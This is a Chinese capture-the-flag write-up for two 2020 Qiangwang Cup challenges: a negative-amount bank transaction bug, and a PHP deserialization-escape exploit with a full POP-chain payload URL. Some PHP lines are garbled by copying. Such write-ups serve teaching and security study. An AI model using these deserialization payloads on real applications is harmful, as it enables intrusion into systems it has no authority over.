2020强网杯 部分wp

2020强网杯 部分wp

彩笔参加了这次强网杯,感觉又被扎心,果然是得PWN者得天下。

1. BANK

这题虽然是个PWN,但是居然被我这个web小白做出来了,我感觉我这种做法是个非预期解,也不知道大佬是如何操作的。
首先,远程nc连接,提示解密拼接字符串的sha256加密。编写python脚本爆破。简易脚本如下:

import hashlib,os
s = 'a36MUMAX1VSQQcEHJ'   #伪加密部分字符串
result = 'f8a38643f58bf7d6523d8c43f81a9329d8be9220d118b98772c97c88d876c7cb' #结果
f =open("1.txt","r")   #1.txt是我本地生成的字典内容是数字+字母(大小写)的三位数排列组合,随便找个生成器生成一下就好
for line in f:
    st = line.replace('\n','')+s
    tmp =hashlib.sha256(st).hexdigest()
    if hashlib.sha256(st).hexdigest() == result:
        print line
        break;
f.close()

成功突破
在这里插入图片描述输入token进入下一步,
选择 Get flag 发现需要1000才能拿到flag。
尝试了别的几个选项内容,还有hint,不过好像没啥用,大致应该就是:
赚钱必须要交易,transact就是与人交易。通过sha256算法啥的伪造别人的钱。
但是,这个时候骚操作来了,直接尝试transact 输入A -1000,居然就给自己加了1000(非预期??)
够钱flag了,拿到flag,舒服。
在这里插入图片描述

2. web辅助

首先下载附件,发现是网站源码,不出意料是个代码审计题目。再打开网站发现是提示对应的username和password。
查看原码index.php,原来是读取username,password
file_put_contents(“caches/”.md5( S E R V E R [ ′ R E M O T E A D D R ′ ] ) , w r i t e ( s e r i a l i z e ( _SERVER['REMOTE_ADDR']), write(serialize( SERVER[REMOTEADDR]),write(serialize(player)));
老反序列化了,对应play.php的内容
@ p l a y e r = u n s e r i a l i z e ( r e a d ( c h e c k ( f i l e g e t c o n t e n t s ( " c a c h e s / " . m d 5 ( player = unserialize(read(check(file_get_contents("caches/".md5( player=unserialize(read(check(filegetcontents("caches/".md5(_SERVER[‘REMOTE_ADDR’])))));
Unserialize(Read(write(serialize()))),组合出来就是这么个玩意,经典的反序列化逃逸。这个read+write,借鉴了安恒月赛?,函数基本如出一辙。(在common.php就可以看见)

function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

注:具体原理就不介绍了,感兴趣的可以搜索一下安恒月赛 反序列化逃逸的wp,简单来说i就是每一套read(write())下来,就可以逃逸出2个字符串。
接下来审计一个class.php 看看哪里有读flag的操作

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
}

Jungle的成员函数可以执行读flag的操作,意味着我们只要能触发__toString()的魔术方法就能拿到flag。找了好久也没发现输出的地方,最后发现stristr($this->name, ‘Yasuo’)居然是这个玩意。
注:这个骚操作我也是第一次见,在5.x版本前(具体那个忘了了),只有echo能触发toString操作,新版本所有的字符串操作都能触发了
接下来就是想办法构造函数调用这个内容了。
大致思路是这样

  • 利用midsolo的gank函数触发jungle的ks函数
  • 利用midsolo的invoke触发gank函数
  • 利用topsolo的__destruct函数触发midsolo的invoke函数

老套娃了。
本地测试一下,大概代码如下:

$j = new jungle("1");
$m = new midsolo($j);
$t = new topsolo($m);

果然可以触发了toString()这下就好办了。
首先echo serialize($t);获取我们需要构造的字符串

O:7:"topsolo":1:{s:7:"chr(0)*chr(0) name";O:7:"midsolo":1:{s:7:"chr(0)*chr(0) name";O:6:"jungle":1:{s:7:" chr(0)*chr(0) name";s:1:"1";}}}

注:这里有一个问题,midsolo中的__wakeup会在反序列化过程中覆盖掉我们的传值,因此我们要将midsolo的1改成2来绕过。
  接下来就是构造逃逸字符串,原理不多介绍,方法与安恒月赛类似,一次readwrite()就可以逃逸出2个字符,我们需要逃逸的部分有s:7:“chr(0)*chr(0)pass”;s:10:20个字符,因此需要构造10组。但实际上我们上文的需要反序列化的字符串超过100位,因此这里的s:10要多出一位数,实际21个字符还需要再补出一个字符总共20+2,构造11组。

但是这儿的chr(0)* chr(0)正好被read转换了,因此我们可以将s改成S,这样就可以直接用16进制数来表示,用这个方法正好还可以直接突破check函数的name过滤,修改后的字符串如下:

O:7:"topsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:1:"1";}}};

至此基本的参数构造就完成了。

最终payload如下:

http://eci-2ze9505q64pk2ixrb975.cloudeci1.ichunqiu.com/?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=a";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":2:{S:7:%22\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65%22;s:1:"1";}}};S:8:"\00*\00admin";i:1:0;}

成功getflag。(这里的admin字段闭合有问题,导致反序列化有问题,print_r无输出,但是对getflag无影响,靶机和实验环境不同,就不调整了,有兴趣可以自己打印一下字符串调整一下)

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值